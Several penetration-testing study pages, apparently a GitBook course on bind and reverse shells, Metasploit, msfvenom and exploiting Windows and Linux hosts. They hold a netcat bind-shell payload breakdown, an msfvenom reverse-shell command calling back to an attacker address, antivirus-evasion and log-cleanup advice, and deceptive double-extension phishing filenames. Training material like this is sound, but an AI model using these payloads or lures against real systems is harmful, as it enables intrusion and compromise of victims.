Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with theask query parameter:
Shell Basics
Overview
In penetration testing, establishing a shell on a target system is crucial for maintaining access and executing commands. This document covers the fundamentals of bind shells and reverse shells, which are the two primary methods for establishing shell connections.Bind Shells
What Is It?
With a bind shell, the target system has a listener started and awaits a connection from the pentester’s system (attack box). The target acts as the server, and the attack box acts as the client.Challenges with Bind Shells
- Listener Requirement: A listener must already be started on the target
- Firewall Restrictions: Incoming firewall rules are typically strict
- NAT/PAT: Network Address Translation with Port Address Translation blocks incoming connections
- OS Firewalls: Windows and Linux firewalls block most incoming connections
- Network Position: Requires being on the internal network already
Practicing with GNU Netcat
Netcat (nc) is our “Swiss-Army Knife” for network connections:- Functions over TCP, UDP, and Unix sockets
- Supports IPv4 & IPv6
- Can open and listen on sockets
- Operates as a proxy
- Handles text input and output
Basic Netcat Connection
Step 1: Server (Target) - Start Netcat listenerEstablishing a Basic Bind Shell with Netcat
The above example only creates a TCP session for text communication. For a real bind shell, we need to serve the system shell: Server - Binding a Bash shell to the TCP sessionPayload Breakdown
The bind shell payload consists of:rm -f /tmp/f: Remove existing named pipemkfifo /tmp/f: Create named pipe (FIFO)cat /tmp/f | /bin/bash -i 2>&1: Read from pipe and execute in bash with interactive modenc -l 10.129.41.200 7777 > /tmp/f: Listen on port and redirect output to pipe
Security Considerations
Bind shells are easier to defend against because:- Incoming connections are more likely to be detected
- Firewalls typically block incoming connections
- Standard ports don’t help much with incoming traffic
- Detection systems monitor for unusual listeners
Reverse Shells
What Is It?
With a reverse shell, the attack box has a listener running, and the target initiates the connection. The attack box acts as the server, and the target acts as the client.Advantages of Reverse Shells
- Firewall Evasion: Outbound connections are less likely to be blocked
- Admin Oversight: Admins often overlook outbound connections
- Common Ports: Can use ports like 80, 443, 53 that are rarely blocked
- Better Detection Evasion: Harder to detect than incoming connections
Useful Resources
- Reverse Shell Cheat Sheet: Contains various reverse shell payloads
- Remember: Admins are aware of public repositories and may tune security controls accordingly
Hands-on With A Simple Reverse Shell in Windows
Step 1: Start Netcat Listener (Attack Box)
- Common HTTPS port
- Rarely blocked outbound
- Appears legitimate
- Organizations rely on HTTPS for daily operations
Step 2: PowerShell Reverse Shell (Target)
Key Considerations:- What applications are present on the target?
- What shell languages are available?
- Use “living off the land” techniques when possible
- Netcat is not native to Windows
Step 3: Dealing with Antivirus
Common AV Response:Step 4: Successful Connection
Attack Box:PowerShell Reverse Shell Payload Breakdown
The PowerShell reverse shell payload consists of:- TCP Client Creation:
New-Object System.Net.Sockets.TCPClient('IP',PORT) - Stream Management:
$client.GetStream() - Data Buffer:
[byte[]]$bytes = 0..65535|%{0} - Read Loop: Continuously read from stream
- Command Execution:
iex $data(Invoke-Expression) - Output Formatting: Add PS prompt and path
- Data Transmission: Send results back to attack box
- Connection Management: Flush and close when done
Common Ports for Reverse Shells
Commonly Allowed Outbound Ports:- 80 (HTTP)
- 443 (HTTPS)
- 53 (DNS)
- 22 (SSH)
- 21 (FTP)
- 25 (SMTP)
- 110 (POP3)
- 143 (IMAP)
- Essential for business operations
- Rarely blocked by firewalls
- Less suspicious in network traffic
- Blend in with legitimate traffic
Best Practices
For Bind Shells:
- Use only when necessary
- Consider firewall implications
- Test from internal network position
- Use common service ports when possible
For Reverse Shells:
- Prefer over bind shells when possible
- Use common outbound ports
- Consider AV/EDR evasion techniques
- Test payload delivery methods
- Understand target environment
General Considerations:
- Always test in controlled environments first
- Understand network topology
- Consider detection mechanisms
- Have backup methods ready
- Document successful techniques
Troubleshooting
Common Issues:- Connection Refused: Check firewall rules and port availability
- AV Detection: Use evasion techniques or disable temporarily
- Network Restrictions: Try different ports or protocols
- Payload Failures: Verify syntax and target compatibility
- Unstable Connections: Check network stability and MTU issues
Summary
Understanding shell basics is fundamental to penetration testing:- Bind Shells: Target listens, attacker connects (harder to achieve)
- Reverse Shells: Attacker listens, target connects (preferred method)
- Netcat: Swiss-Army knife for network connections
- PowerShell: Native Windows capability for reverse shells
- Port Selection: Use common ports for better success rates
- Evasion: Consider AV/EDR and firewall restrictions
Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with theask query parameter:
Payloads
Overview
Metasploit is an automated attack framework developed by Rapid7 that streamlines the process of exploiting vulnerabilities through the use of pre-built modules. It contains easy-to-use options to exploit vulnerabilities and deliver payloads to gain a shell on a vulnerable system.Important Considerations
Training vs. Real-World Usage:- Some cybersecurity training vendors limit Metasploit usage on lab exams
- Most organizations will not limit tool usage on engagements
- Understanding tool effects is crucial to avoid destruction in live tests
- Responsibility lies with the tester to understand tools, techniques, and methodologies
- Community Edition: Free version used in this documentation
- Metasploit Pro: Paid edition used by established cybersecurity firms
- Metasploit Pro includes additional features for penetration tests, security audits, and social engineering campaigns
Starting Metasploit
Launch Metasploit Framework Console
Key Statistics
- 2131 exploits: Pre-built vulnerability exploits
- 592 payloads: Available payload options
- 1139 auxiliary: Supporting modules for scanning/enumeration
- 363 post: Post-exploitation modules
- 45 encoders: Payload encoding options
- 10 nops: No-operation modules
- 8 evasion: Evasion techniques
Practical Example: SMB Exploitation
Step 1: Target Enumeration
Nmap Scan:- SMB service on port 445 (potential attack vector)
- Windows 7-10 system
- SMB message signing disabled (security weakness)
Step 2: Module Search
Search for SMB modules:Step 3: Understanding Module Structure
Module:exploit/windows/smb/psexec
| Component | Meaning |
|---|---|
56 | Module number (relative to search results) |
exploit/ | Module type (exploit module) |
windows/ | Target platform (Windows) |
smb/ | Service/protocol (SMB) |
psexec | Tool/technique (psexec utility) |
Step 4: Module Selection
exploit- Module typewindows/smb/psexec- Specific exploit path- Default payload:
windows/meterpreter/reverse_tcp
Step 5: Examining Module Options
Step 6: Configuring the Exploit
Required Settings:- RHOSTS: Target IP address(es)
- SHARE: Administrative share (ADMIN, etc.)
- SMBPass: Password for authentication
- SMBUser: Username for authentication
- LHOST: Local host IP for reverse connection
Step 7: Executing the Exploit
- Handler Started: Reverse TCP handler listening on LHOST:LPORT
- Connection: Connecting to target SMB service
- Authentication: Authenticating with provided credentials
- Target Selection: Selecting PowerShell target
- Payload Execution: Executing the payload on target
- Stage Transfer: Sending Meterpreter stage to target
- Session Establishment: Meterpreter session opened
Understanding Meterpreter
What is Meterpreter?
Meterpreter is an advanced payload that:- Uses in-memory DLL injection
- Establishes stealthy communication channel
- Provides extensive post-exploitation capabilities
- Operates entirely in memory (difficult to detect)
Key Capabilities
File Operations:- Upload/download files
- File system navigation
- File manipulation
- Execute system commands
- Run keylogger
- Create/start/stop services
- Manage processes
- Port forwarding
- Network pivoting
- Route manipulation
- Screenshot capture
- Webcam access
- Audio recording
- Registry manipulation
Meterpreter Commands
Get Help:Dropping to System Shell
Access Full System Commands:Metasploit Module Types
1. Exploit Modules
Purpose: Exploit specific vulnerabilities Example:exploit/windows/smb/psexec Usage: Gain initial access to systems
2. Auxiliary Modules
Purpose: Scanning, enumeration, and verification Example:auxiliary/scanner/smb/smb_version Usage: Information gathering and reconnaissance
3. Post Modules
Purpose: Post-exploitation activities Example:post/windows/gather/credentials/credential_collector Usage: After gaining access, collect information
4. Payload Modules
Purpose: Code executed on target after exploitation Example:windows/meterpreter/reverse_tcp Usage: Establish communication channel
5. Encoder Modules
Purpose: Encode payloads to avoid detection Example:x86/shikata_ga_nai Usage: Bypass antivirus and filters
6. NOP Modules
Purpose: No-operation instructions for buffer alignment Example:x86/opty2 Usage: Ensure payload stability
MSFVenom - Standalone Payload Generator
Basic Usage
Generate Windows Reverse Shell:Common Parameters
| Parameter | Description | Example |
|---|---|---|
-p | Payload type | windows/meterpreter/reverse_tcp |
-f | Output format | exe, elf, raw, python |
-o | Output file | shell.exe |
-e | Encoder | x86/shikata_ga_nai |
-i | Encoding iterations | 3 |
-b | Bad characters | \x00\x0a\x0d |
Advanced MSFVenom Examples
Encoded Payload:Best Practices
1. Reconnaissance First
- Always perform thorough enumeration
- Identify target OS and services
- Understand network topology
- Gather credentials when possible
2. Module Selection
- Choose appropriate exploit for target
- Consider payload options
- Understand module limitations
- Test in lab environment first
3. Payload Considerations
- Select appropriate payload type
- Consider network restrictions
- Plan for persistence needs
- Understand detection risks
4. Operational Security
- Use common ports when possible
- Consider encoding for AV evasion
- Clean up artifacts after testing
- Document all actions taken
5. Session Management
- Migrate to stable processes
- Create multiple access points
- Use appropriate persistence methods
- Monitor for detection
Troubleshooting
Common Issues
1. Module Not Found:Debugging Commands
Show Module Information:Security Considerations
Detection Risks
Network Level:- Unusual network connections
- Known malicious signatures
- Behavioral analysis triggers
- Process injection detection
- In-memory payload signatures
- Behavioral monitoring alerts
Mitigation Strategies
For Penetration Testers:- Use custom payloads
- Implement proper encoding
- Time attacks appropriately
- Clean up after testing
- Monitor for known signatures
- Implement behavioral analysis
- Use application whitelisting
- Regular security updates
Summary
Metasploit provides a powerful framework for:- Automated exploitation of known vulnerabilities
- Payload delivery through various attack vectors
- Post-exploitation activities and persistence
- Comprehensive testing of security controls
- Understand tools before using them
- Proper enumeration guides module selection
- Meterpreter provides extensive post-exploitation capabilities
- Always consider detection and mitigation strategies
- Practice in controlled environments first
Crafting Payloads with MSFvenom
Understanding Payload Delivery Challenges
Using automated attacks in Metasploit requires network access to vulnerable target machines. However, there are situations where we lack direct network access to a target. In these cases, we need alternative delivery methods such as:- Email attachments with malicious payloads
- Social engineering to drive user execution
- Physical access via USB drives during onsite tests
- Web downloads from compromised or controlled sites
- Flexible delivery options for various scenarios
- Encryption & encoding to bypass antivirus detection
- Multiple output formats for different platforms
- Standalone payload generation without full Metasploit
Exploring Available Payloads
List all available payloads:Staged vs. Stageless Payloads
Staged Payloads
Characteristics:- Create a way to send more components of the attack
- “Setting the stage” for additional functionality
- Send small initial stage, then download remainder over network
- Requires multiple network communications
linux/x86/shell/reverse_tcp
- Initial stage executed on target
- Calls back to attack box for remainder
- Downloads and executes shellcode
- Establishes reverse shell connection
- Smaller initial payload size
- Can deliver larger, more complex payloads
- Flexibility in payload composition
- Multiple network communications required
- Dependent on network stability
- Takes up memory space for stages
- More detectable due to network traffic
Stageless Payloads
Characteristics:- Complete payload sent in its entirety
- No additional network communications required
- Self-contained executable code
- Single network transmission
linux/zarch/meterpreter_reverse_tcp
- Complete payload in one transmission
- No additional downloads required
- Executes immediately upon receipt
- Better for bandwidth-limited environments
- Reduced network traffic (better evasion)
- No dependency on network stability
- Faster execution
- Larger payload size
- Limited by single transmission constraints
- Less flexibility in payload composition
Identifying Staged vs. Stageless Payloads
Naming Convention Rules
Staged Payloads:- Each
/represents a stage - Example:
linux/x86/shell/reverse_tcp/shell/= stage to send/reverse_tcp= another stage
- All components in single function name
- Example:
linux/zarch/meterpreter_reverse_tcpmeterpreter_reverse_tcp= complete payload
Comparison Examples
| Staged | Stageless |
|---|---|
windows/meterpreter/reverse_tcp | windows/meterpreter_reverse_tcp |
linux/x86/shell/reverse_tcp | linux/x86/shell_reverse_tcp |
windows/shell/bind_tcp | windows/shell_bind_tcp |
Building Stageless Payloads
Linux ELF Payload Example
Command:| Component | Description |
|---|---|
msfvenom | Tool used to create the payload |
-p | Indicates creating a payload |
linux/x64/shell_reverse_tcp | Linux 64-bit stageless reverse shell |
LHOST=10.10.14.113 | IP address to connect back to |
LPORT=443 | Port to connect back to |
-f elf | Output format (ELF binary) |
> createbackup.elf | Output filename |
Windows EXE Payload Example
Command:Payload Delivery Methods
1. Email Attachments
Advantages:- Direct user interaction
- Can target specific individuals
- Bypasses network perimeter controls
- Email security filters
- User awareness training
- Antivirus scanning
2. Web Downloads
Advantages:- Wide distribution potential
- Can be combined with social engineering
- Multiple delivery vectors
- Web application firewalls
- Browser security features
- User download behavior
3. Physical Media
Advantages:- Bypasses network controls
- High success rate if executed
- Direct access to target environment
- Physical security controls
- Autorun policies
- User education
4. Combined with Exploits
Advantages:- Automated delivery
- Leverages existing vulnerabilities
- Part of broader attack chain
- Requires network access
- Depends on vulnerability existence
- May be detected by security tools
Executing Payloads
Linux Payload Execution
Setup listener:Windows Payload Execution
Setup listener:Advanced MSFvenom Techniques
Multiple Format Support
Common formats:Encoding for Evasion
Basic encoding:Template Injection
Inject into existing executable:Bad Character Removal
Remove problematic characters:Platform-Specific Considerations
Windows Considerations
Antivirus Evasion:- Use encoders and encryption
- Template injection techniques
- Fileless payload delivery
- Process hollowing techniques
- Double-click execution
- Command line execution
- Scheduled tasks
- Service installation
Linux Considerations
Permission Requirements:- Executable permissions needed
- User context considerations
- Privilege escalation needs
- Direct execution
- Bash/shell execution
- Cron job scheduling
- Service daemon installation
Social Engineering Integration
Filename Strategies
Convincing Filenames:BonusCompensationPlan.pdf.exeSecurityUpdate.exeInstallationWizard.exeDocumentViewer.exe
- Use double extensions
- Hide real extension
- Use similar-looking extensions
- Leverage file association weaknesses
Delivery Context
Business Context:- Quarterly reports
- Security updates
- Software installations
- Training materials
- Photos/videos
- Games/entertainment
- Personal documents
- Utilities/tools
Detection and Countermeasures
Common Detection Methods
Signature-based Detection:- Known payload signatures
- Behavioral pattern matching
- Heuristic analysis
- Network communication patterns
- Process execution behavior
- File system modifications
Evasion Techniques
Payload Modification:- Custom encoding schemes
- Polymorphic payloads
- Encrypted communications
- Delayed execution
- Staged delivery
- Legitimate application abuse
- Living-off-the-land techniques
- Memory-only execution
MSFvenom Best Practices
Payload Selection
- Choose appropriate payload type (staged vs stageless)
- Consider target platform and architecture
- Evaluate network restrictions and firewall rules
- Plan for persistence and post-exploitation needs
Delivery Planning
- Understand target environment and security controls
- Plan social engineering context and delivery method
- Prepare backup delivery methods in case of failure
- Consider detection timing and operational security
Operational Security
- Use common ports for better success rates
- Implement proper encoding for AV evasion
- Clean up artifacts after successful execution
- Monitor for detection and adjust accordingly
Troubleshooting MSFvenom
Common Issues
Payload Size Limitations:Verification Methods
Test payload functionality:Integration with Other Tools
Combining with Social Engineering
Social Engineering Toolkit (SET):- Automated payload delivery
- Credential harvesting
- Phishing campaigns
- Automated payload generation
- Batch processing
- Custom encoding schemes
Post-Exploitation Integration
Meterpreter Migration:Advanced Meterpreter Techniques
For detailed post-exploitation techniques, advanced commands, and comprehensive Meterpreter usage, see the dedicated Meterpreter Post-Exploitation Guide.Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with theask query parameter:
Windows Shells
Overview
Microsoft has dominated home and enterprise computing markets for decades. With improved Active Directory features, cloud service integration, Windows Subsystem for Linux (WSL), and expanding interconnectivity, the Windows attack surface has grown significantly.Windows Vulnerability Landscape
In the last five years alone, 3,688 vulnerabilities have been reported in Microsoft products, with this number growing daily. Understanding these vulnerabilities and exploitation techniques is crucial for both offensive and defensive security.Prominent Windows Exploits
Critical Historical Vulnerabilities
| Vulnerability | CVE/MS Bulletin | Description |
|---|---|---|
| MS08-067 | MS08-067 | Critical SMB flaw affecting multiple Windows versions. Used by Conficker worm and Stuxnet. Extremely easy to exploit. |
| EternalBlue | MS17-010 | NSA exploit leaked by Shadow Brokers. Used in WannaCry and NotPetya attacks. SMBv1 protocol flaw allowing code execution. |
| PrintNightmare | CVE-2021-1675 | Windows Print Spooler RCE. Install malicious printer driver with valid credentials for SYSTEM access. |
| BlueKeep | CVE-2019-0708 | RDP protocol vulnerability allowing RCE. Affects Windows 2000 to Server 2008 R2. |
| Sigred | CVE-2020-1350 | DNS SIG resource record flaw. Can grant Domain Admin privileges by targeting DNS server/Domain Controller. |
| SeriousSam | CVE-2021-36934 | Windows permission issue on C:\Windows\system32\config folder. Non-elevated users can access SAM database via shadow copies. |
| Zerologon | CVE-2020-1472 | Critical AD Netlogon Remote Protocol cryptographic flaw. Allows password reset with ~256 guesses in seconds. |
Enumerating Windows & Fingerprinting Methods
Time To Live (TTL) Analysis
Windows TTL Values:- Typical responses: 32 or 128
- Most common: 128
- Values may vary due to network hops (rarely >20 hops away)
OS Detection with Nmap
Basic OS detection:- Port 135: MS-RPC
- Port 139: NetBIOS Session Service
- Port 445: Microsoft Directory Services (SMB)
- OS CPE:
cpe:/o:microsoft:windows_*
Banner Grabbing
Using Nmap banner script:Windows File Types & Payload Options
Dynamic Linking Libraries (DLLs)
Purpose:- Shared code and data libraries
- Used by multiple programs simultaneously
- Modular and updatable
- DLL Injection: Inject malicious DLL into running process
- DLL Hijacking: Replace legitimate DLL with malicious version
- Privilege Escalation: Elevate to SYSTEM level
- UAC Bypass: Circumvent User Account Controls
- Process hollowing
- Reflective DLL loading
- Manual DLL mapping
- Thread execution hijacking
Batch Files (.bat)
Characteristics:- Text-based DOS scripts
- Executed by command-line interpreter
- Automated task execution
- System administrator utilities
- Port opening/closing
- Reverse shell connections
- System enumeration
- Automated command execution
VBScript (.vbs)
Background:- Lightweight scripting language
- Based on Microsoft Visual Basic
- Client-side web scripting (largely deprecated)
- Still used in phishing attacks
- Macro-enabled document attacks
- Email attachment payloads
- Windows Scripting Host execution
- Social engineering campaigns
MSI Files (.msi)
Purpose:- Windows Installer database files
- Application installation packages
- Component and dependency management
- Payload delivery via Windows Installer
- Privilege escalation through installer service
- Social engineering (fake software updates)
- Persistence via scheduled installation
PowerShell (.ps1)
Capabilities:- Shell environment and scripting language
- .NET Common Language Runtime based
- Object-oriented input/output
- Extensive post-exploitation options
- Fileless malware delivery
- Memory-only payload execution
- Administrative task automation
- System and network enumeration
- Credential harvesting
- Restricted: Default, no scripts allowed
- RemoteSigned: Local scripts allowed, remote require signature
- Unrestricted: All scripts allowed
- Bypass: No policy enforcement
Tools, Tactics, and Procedures
Payload Generation Resources
| Resource | Description | Use Case |
|---|---|---|
| MSFVenom & Metasploit | Versatile payload generation and exploitation | Multi-platform payloads, automated exploitation |
| Payloads All The Things | Payload generation cheat sheets | Quick reference, one-liners |
| Mythic C2 Framework | Alternative C2 framework | Custom payload generation, advanced C2 |
| Nishang | Offensive PowerShell framework | PowerShell-based attacks, implants |
| Darkarmour | Binary obfuscation tool | AV evasion, obfuscated executables |
Payload Transfer Methods
Impacket
Key utilities:- psexec: Remote command execution
- smbclient: SMB client interactions
- wmiexec: WMI-based execution
- smbserver: Stand up SMB server
SMB Shares
Administrative shares:- C$: Administrative share to C: drive
- ADMIN$: Administrative share to Windows directory
- IPC$: Inter-Process Communication share
HTTP/HTTPS Transfer
Python web server:Other Protocols
- FTP: File Transfer Protocol
- TFTP: Trivial File Transfer Protocol
- SCP: Secure Copy Protocol
- BITS: Background Intelligent Transfer Service
Example Compromise Walkthrough
Step 1: Host Enumeration
Comprehensive Nmap scan:Step 2: Vulnerability Assessment
EternalBlue detection:Step 3: Exploit Selection
Search for EternalBlue exploits:Step 4: Exploit Configuration
Select psexec variant:Step 5: Execution
Launch exploit:CMD vs PowerShell Comparison
Command Prompt (CMD)
Characteristics:- Original MS-DOS shell
- Text-based input/output
- Basic automation with batch files
- No command history retention
- No execution policy restrictions
- Older hosts (Windows XP and earlier)
- Simple interactions and basic tasks
- Batch files and net commands
- MS-DOS native tools
- Stealth operations (less logging)
- Execution policy concerns
PowerShell
Characteristics:- Advanced shell and scripting environment
- .NET object-based input/output
- Extensive cmdlet library
- Command history and transcription
- Execution policy enforcement
- Module and snap-in support
- Modern Windows systems
- Cmdlet and custom script execution
- .NET object manipulation
- Cloud service interactions
- Advanced automation
- Alias usage
- When stealth is less important
Shell Identification
CMD Prompt:Advanced Windows Attack Vectors
Windows Subsystem for Linux (WSL)
Security Implications:- Virtual Linux environment within Windows
- Potential blind spot for security tools
- Network requests bypass Windows Firewall
- Limited Windows Defender visibility
- Novel attack vector for malware
- Python3 and Linux binary execution
- Payload download and installation
- Cross-platform script execution
- Firewall and AV evasion
PowerShell Core on Linux
Characteristics:- Cross-platform PowerShell implementation
- Maintains many Windows PowerShell functions
- Potential AV and EDR evasion
- Novel attack vector
- Less monitored than traditional PowerShell
- Cross-platform payload delivery
- Hybrid attack scenarios
Best Practices for Windows Exploitation
Reconnaissance
- Multiple fingerprinting methods
- TTL analysis
- Port scanning
- Banner grabbing
- OS detection
- Service enumeration
- SMB version detection
- Web server identification
- Available shares enumeration
- User enumeration
- Vulnerability assessment
- Known exploit checking
- Patch level analysis
- Configuration weaknesses
Payload Selection
- Target environment analysis
- Windows version and architecture
- Available shells (CMD vs PowerShell)
- Security controls (AV, firewall)
- Network restrictions
- Delivery method planning
- Social engineering vectors
- Network-based exploitation
- Physical access scenarios
- Privilege level requirements
Operational Security
- Stealth considerations
- Log generation awareness
- Process visibility
- Network traffic patterns
- Persistence mechanisms
- Cleanup procedures
- Artifact removal
- Log cleanup
- Process termination
- Connection closure
Post-Exploitation
- Initial access stabilization
- Process migration
- Persistence establishment
- Backup access creation
- Privilege escalation
- Information gathering
- System enumeration
- User enumeration
- Network discovery
- Credential harvesting
Common Windows Exploitation Patterns
SMB-Based Attacks
EternalBlue (MS17-010):- Target: SMBv1 protocol
- Impact: Remote code execution
- Affected: Windows 2000 to Server 2016
- Capture and relay NTLM authentication
- Target systems without SMB signing
- Privilege escalation opportunities
RDP-Based Attacks
BlueKeep (CVE-2019-0708):- Target: RDP protocol
- Impact: Remote code execution
- Affected: Windows 2000 to Server 2008 R2
- Brute force attacks
- Credential stuffing
- Pass-the-hash attacks
Web-Based Attacks
IIS Vulnerabilities:- Directory traversal
- Buffer overflows
- Authentication bypasses
- ViewState manipulation
- Deserialization attacks
- File upload vulnerabilities
Detection and Defense
Common Detection Methods
Network-Level:- Unusual SMB traffic patterns
- Multiple authentication failures
- Suspicious RDP connections
- Known exploit signatures
- Process creation monitoring
- PowerShell execution logging
- File system modifications
- Registry changes
Defensive Strategies
Patch Management:- Regular security updates
- Critical vulnerability prioritization
- Testing and deployment procedures
- DMZ implementation
- VLAN separation
- Firewall rules
- Access control lists
- SIEM deployment
- PowerShell script block logging
- Process creation logging
- Network traffic analysis
Hardening Measures
System Configuration:- Disable unnecessary services
- Remove unused protocols
- Implement principle of least privilege
- Enable security features
- Constrained Language Mode
- Execution policy enforcement
- Script block logging
- Module logging
Conclusion
Windows systems present a rich attack surface with numerous exploitation vectors. Success requires:- Thorough enumeration to identify target characteristics
- Vulnerability assessment to find exploitation opportunities
- Appropriate payload selection based on target environment
- Careful operational security to avoid detection
- Understanding of both CMD and PowerShell environments
- Awareness of modern attack vectors like WSL and PowerShell Core
Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with theask query parameter:
NIX Shells
Overview
According to W3Techs’ ongoing OS usage statistics study, over 70% of websites (webservers) run on Unix-based systems. This presents significant opportunities for penetration testers to gain shell sessions on these environments and potentially pivot further within network infrastructures.Strategic Importance
Why Unix/Linux Shells Matter:- Web server dominance: Most web applications run on Linux
- Infrastructure backbone: Critical systems often run on Unix/Linux
- Pivot opportunities: Web servers can provide access to internal networks
- On-premises hosting: Many organizations still host internally
- Cloud environments: Most cloud instances run Linux variants
- Web applications and services
- Network services (SSH, FTP, etc.)
- Database services (MySQL, PostgreSQL)
- Configuration management tools
- Container orchestration platforms
Common Considerations
When planning to establish a shell session on a Unix/Linux system, consider these critical questions:1. System Analysis Questions
Distribution Identification:- What distribution of Linux is the system running?
- What version and kernel are in use?
- What package manager is available?
- What shells are available? (bash, sh, zsh, csh)
- What programming languages exist? (Python, Perl, Ruby, PHP)
- What interpreters are installed?
- Are there any restricted shells in place?
- What function is the system serving for the network?
- Is it a web server, database server, or application server?
- What services are running?
- What is the system’s role in the infrastructure?
- What application is the system hosting?
- What web server software? (Apache, Nginx, Lighttpd)
- What application frameworks? (PHP, Python, Node.js)
- What databases are connected?
- Are there any known vulnerabilities?
- What security controls are in place?
- Are there any misconfigurations?
- What is the patch level?
2. Reconnaissance Strategy
Service Enumeration:Gaining a Shell Through Attacking a Vulnerable Application
Step 1: Host Enumeration
Comprehensive Nmap Scan:- Operating System: CentOS Linux
- Web Stack: Apache 2.4.6, PHP 7.2.34, OpenSSL 1.0.2k
- Services: FTP, SSH, HTTP/HTTPS, MySQL, RPC
- Function: Web server hosting web application
- SSL Configuration: Self-signed certificate present
Step 2: Web Application Discovery
Initial Web Reconnaissance:- Navigate to HTTP/HTTPS endpoints
- Identify hosted applications
- Check for version information
- Look for default credentials
- Application: rConfig Configuration Management Tool
- Purpose: Network device configuration automation
- Version: 3.9.6 (visible on login page)
- Critical Risk: Admin access to network infrastructure
- Automates network appliance configuration
- Remote interface configuration capabilities
- Potential access to routers, switches, firewalls
- High-value target for network compromise
- Could lead to complete network infrastructure control
Step 3: Vulnerability Research
Research Methodology:- Version-specific searches: “rConfig 3.9.6 vulnerability”
- CVE databases: Check NIST, MITRE, ExploitDB
- Security advisories: Vendor bulletins, security researchers
- Proof of concepts: GitHub, security blogs
- Metasploit modules: Built-in exploit framework
- CVE-2019-16662: Arbitrary file upload to RCE
- CVE-2019-16663: Authentication bypass
- Multiple vulnerabilities: Configuration disclosure, SQL injection
Step 4: Metasploit Module Discovery
Search for Exploits:- Target specificity: Matches exact version
- Reliability rank: Good to excellent ranking
- Functionality: Provides shell access
- Prerequisites: Authentication requirements
Step 5: Advanced Exploit Research
GitHub Repository Search:Exploiting rConfig - Practical Example
Step 1: Module Selection and Configuration
Load the Exploit:Step 2: Exploit Execution
Launch the Attack:- Version Detection: Confirms vulnerable rConfig 3.9.6
- Authentication: Successfully logs into rConfig
- Payload Upload: Uploads PHP-based reverse shell
- Payload Trigger: Executes uploaded payload
- Stage Transfer: Sends Meterpreter stage
- Cleanup: Removes uploaded payload file
- Session Establishment: Provides Meterpreter shell
Step 3: Initial Shell Interaction
Meterpreter Session:Shell Improvement Techniques
Understanding Non-TTY Shells
Characteristics of Non-TTY Shells:- Limited functionality: Missing interactive features
- No prompt: Commands execute without visual feedback
- Restricted commands:
su,sudo,nanomay not work - No tab completion: Manual command entry required
- No command history: Previous commands not accessible
- Signal handling issues: Ctrl+C may terminate session
- Service account execution: Payload runs as web server user (apache)
- Environment limitations: No shell environment configured
- Security restrictions: Limited shell access by design
Spawning TTY Shells
Method 1: Python PTY
Check for Python:Method 2: Alternative TTY Methods
Using Script Command:Method 3: Full Interactive TTY
Step 1: Initial PTY spawnLinux Shell Environments
Common Linux Shells
| Shell | Binary | Description | Features |
|---|---|---|---|
| Bash | /bin/bash | Bourne Again Shell | Command completion, history, scripting |
| Sh | /bin/sh | Bourne Shell | Basic POSIX compliance, minimal features |
| Zsh | /bin/zsh | Z Shell | Advanced features, customization |
| Csh | /bin/csh | C Shell | C-like syntax, job control |
| Tcsh | /bin/tcsh | TENEX C Shell | Enhanced C shell |
| Fish | /bin/fish | Friendly Interactive Shell | User-friendly, auto-suggestions |
Shell Detection and Switching
Current Shell Detection:Programming Languages on Linux
Python Environment
Version Detection:Perl Environment
Availability Check:Ruby Environment
Availability Check:Linux Distribution Specifics
Package Managers by Distribution
| Distribution | Package Manager | Commands |
|---|---|---|
| Ubuntu/Debian | apt | apt update, apt install |
| CentOS/RHEL | yum/dnf | yum install, dnf install |
| Fedora | dnf | dnf install, dnf update |
| SUSE | zypper | zypper install, zypper update |
| Arch Linux | pacman | pacman -S, pacman -Syu |
| Alpine | apk | apk add, apk update |
Distribution Detection
OS Release Information:Advanced Linux Exploitation Techniques
Container Environment Detection
Docker Detection:Privilege Escalation Enumeration
User Context:Persistence Mechanisms
Cron Jobs:Common Linux Vulnerabilities
Kernel Exploits
Kernel Version Check:- DirtyCow: CVE-2016-5195
- Overlayfs: CVE-2021-3493
- PwnKit: CVE-2021-4034
- Baron Samedit: CVE-2021-3156
Application-Specific Vulnerabilities
Web Applications:- PHP vulnerabilities and misconfigurations
- CGI script vulnerabilities
- File upload vulnerabilities
- SQL injection leading to file write
- SSH misconfigurations
- FTP anonymous access
- NFS exports with no_root_squash
- SMB/CIFS shares
Detection Evasion on Linux
Log Management
Common Log Locations:Process Hiding
Background Processes:Best Practices for Linux Exploitation
Reconnaissance
- Thorough enumeration of services and versions
- Web application assessment for vulnerabilities
- Configuration analysis for misconfigurations
- User enumeration for potential targets
Exploitation
- Research target-specific vulnerabilities thoroughly
- Test exploits in controlled environments first
- Understand exploit mechanisms before deployment
- Plan payload delivery based on target constraints
Post-Exploitation
- Stabilize shell access immediately
- Gather system intelligence for privilege escalation
- Establish persistence if authorized
- Document findings for reporting
Operational Security
- Minimize log generation during testing
- Clean up artifacts after assessment
- Use encrypted communications when possible
- Understand detection mechanisms in environment
Advanced Shell Spawning Techniques
When Python is not available on the target system, several alternative methods can be used to spawn interactive shells. Understanding these techniques is crucial for situations where primary methods fail.Shell Interpreter Direct Execution
/bin/sh Interactive Mode
Basic Interactive Shell:- Interactive mode (-i): Enables interactive functionality
- Basic shell: Minimal features but reliable
- Wide compatibility: Available on most Unix/Linux systems
- Job control limitation: No background process management
Alternative Shell Binaries
Bash Interactive:Programming Language Spawning
Perl Shell Spawning
Direct Execution:Ruby Shell Spawning
Direct Execution:Lua Shell Spawning
OS Execute Method:System Utility Spawning
AWK Shell Spawning
BEGIN Block Method:- C-like language: Pattern scanning and processing
- Widely available: Present on most Unix/Linux systems
- System function: Direct system command execution
- Report generation: Original purpose for text processing
Find Command Spawning
